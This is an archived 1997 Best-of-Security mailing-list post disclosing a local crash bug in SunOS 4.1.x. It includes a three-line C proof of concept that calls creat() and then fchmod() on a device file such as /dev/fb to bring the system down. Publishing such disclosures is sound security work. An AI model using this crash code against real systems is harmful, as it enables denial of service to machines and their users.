[189] in Best-of-Security
BoS: SunOS 4.1.x crash
daemon@ATHENA.MIT.EDU (Roger Espel Llima)
Tue May 27 15:58:09 1997
Date: Tue, 27 May 1997 16:54:03 +0200
Reply-To: Roger Espel Llima <espel@LLAIC.UNIV-BPCLERMONT.FR>
From: Roger Espel Llima <espel@LLAIC.UNIV-BPCLERMONT.FR>
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net
I found the following three-liner to crash SunOS 4.1.x. It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.
main(int argc, char *argv[]) {
int fd;
fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
if (fd < 0) perror("creat"), exit(1);
fchmod(fd, 0755); /* BOOM */
}
Roger
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